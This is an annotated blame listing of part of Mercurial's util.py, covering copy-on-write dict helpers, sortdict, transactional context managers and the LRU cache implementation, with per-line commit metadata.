Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1093
    """helper class to make copy-on-write easier
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1094
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1095
    Call preparewrite before doing any writes.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1096
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1097
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1098
    def preparewrite(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1099
        """call this before writes, return self or a copied new object"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1100
        if getattr(self, '_copied', 0):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1101
            self._copied -= 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1102
            return self.__class__(self)
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1103
        return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1104
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1105
    def copy(self):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1106
        """always do a cheap copy"""
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1107
        self._copied = getattr(self, '_copied', 0) + 1
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1108
        return self
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1109
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
  1110
class sortdict(collections.OrderedDict):
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1111
    '''a simple sorted dictionary
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1112
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1113
    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1114
    >>> d2 = d1.copy()
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1115
    >>> d2
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1116
    sortdict([('a', 0), ('b', 1)])
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
  1117
    >>> d2.update([(b'a', 2)])
34154
be00af4a1ac5 doctest: coerce dict.keys() to list
Yuya Nishihara <yuya@tcha.org>
parents: 34152
diff changeset
  1118
    >>> list(d2.keys()) # should still be in last-set order
32346
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1119
    ['b', 'a']
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1120
    '''
2d19664e257d util: drop unneeded override, sortdict.copy()
Yuya Nishihara <yuya@tcha.org>
parents: 32340
diff changeset
  1121
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
  1122
    def __setitem__(self, key, value):
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
  1123
        if key in self:
32340
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
  1124
            del self[key]
bd0fd3ff9916 util: rewrite sortdict using Python 2.7's OrderedDict
Martin von Zweigbergk <martinvonz@google.com>
parents: 32331
diff changeset
  1125
        super(sortdict, self).__setitem__(key, value)
21813
c2262004c2e2 config: move config.sortdict class into util
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 21046
diff changeset
  1126
33624
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1127
    if pycompat.ispypy:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1128
        # __setitem__() isn't called as of PyPy 5.8.0
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1129
        def update(self, src):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1130
            if isinstance(src, dict):
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1131
                src = src.iteritems()
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1132
            for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1133
                self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639)
Yuya Nishihara <yuya@tcha.org>
parents: 33549
diff changeset
  1134
34358
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1135
class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1136
    """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1137
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1138
    Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1139
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1140
    >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1141
    >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1142
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1143
    >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1144
    >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1145
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1146
    >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1147
    >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1148
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1149
    >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1150
    >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1151
    False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1152
    >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1153
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1154
    >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1155
    >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1156
    False
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1157
    >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1158
    True
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1159
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1160
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1161
class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1162
    """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1163
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1164
    Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1165
    """
c41444a39de2 config: use copy-on-write to improve copy performance
Jun Wu <quark@fb.com>
parents: 34302
diff changeset
  1166
33814
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1167
class transactional(object):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1168
    """Base class for making a transactional type into a context manager."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1169
    __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1170
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1171
    @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1172
    def close(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1173
        """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1174
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1175
    @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1176
    def release(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1177
        """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1178
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1179
        If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1180
        """
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1181
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1182
    def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1183
        return self
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1184
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1185
    def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1186
        try:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1187
            if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1188
                self.close()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1189
        finally:
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1190
            self.release()
bbbbd3c30bfc util: add base class for transactional context managers
Martin von Zweigbergk <martinvonz@google.com>
parents: 33763
diff changeset
  1191
33446
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1192
@contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1193
def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1194
    """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1195
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1196
    If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1197
    """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1198
    if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1199
        yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1200
        return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1201
    try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1202
        yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1203
        tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1204
    except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1205
        tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1206
        raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1207
    finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1208
        tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils
Martin von Zweigbergk <martinvonz@google.com>
parents: 33439
diff changeset
  1209
33691
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1210
@contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1211
def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1212
    yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction
Durham Goode <durham@fb.com>
parents: 33549
diff changeset
  1213
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1214
class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1215
    """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1216
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1217
    Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1218
    pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1219
    """
30038
42ead5b3aa7b py3: use unicodes in __slots__
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30036
diff changeset
  1220
    __slots__ = (u'next', u'prev', u'key', u'value')
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1221
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1222
    def __init__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1223
        self.next = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1224
        self.prev = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1225
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1226
        self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1227
        self.value = None
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1228
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1229
    def markempty(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1230
        """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1231
        self.key = _notset
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1232
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1233
class lrucachedict(object):
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1234
    """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1235
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1236
    The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1237
    key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1238
    the cache.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1239
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1240
    The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1241
    we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1242
    the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1243
    new head node.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1244
    """
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1245
    def __init__(self, max):
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1246
        self._cache = {}
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1247
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1248
        self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1249
        head.prev = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1250
        head.next = head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1251
        self._size = 1
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1252
        self._capacity = max
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1253
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1254
    def __len__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1255
        return len(self._cache)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1256
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1257
    def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1258
        return k in self._cache
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1259
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1260
    def __iter__(self):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1261
        # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1262
        n = self._head
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1263
        for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1264
            yield n.key
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1265
            n = n.next
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1266
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1267
    def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1268
        node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1269
        self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1270
        return node.value
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1271
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1272
    def __setitem__(self, k, v):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1273
        node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1274
        # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1275
        if node is not None:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1276
            node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1277
            self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1278
            return
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1279
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1280
        if self._size < self._capacity:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1281
            node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1282
        else:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1283
            # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1284
            node = self._head.prev
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1285
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1286
        # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1287
        if node.key is not _notset:
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1288
            del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1289
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1290
        node.key = k
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1291
        node.value = v
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1292
        self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1293
        # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1294
        # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1295
        self._head = node
18603
2251b3184e6e util: add an LRU cache dict
Siddharth Agarwal <sid0@fb.com>
parents: 18537
diff changeset
  1296
27371
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1297
    def __delitem__(self, k):
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1298
        node = self._cache.pop(k)
45d996a566d7 util: reimplement lrucachedict
Gregory Szorc <gregory.szorc@gmail.com>
parents: 27363
diff changeset
  1299
        node.markempty()
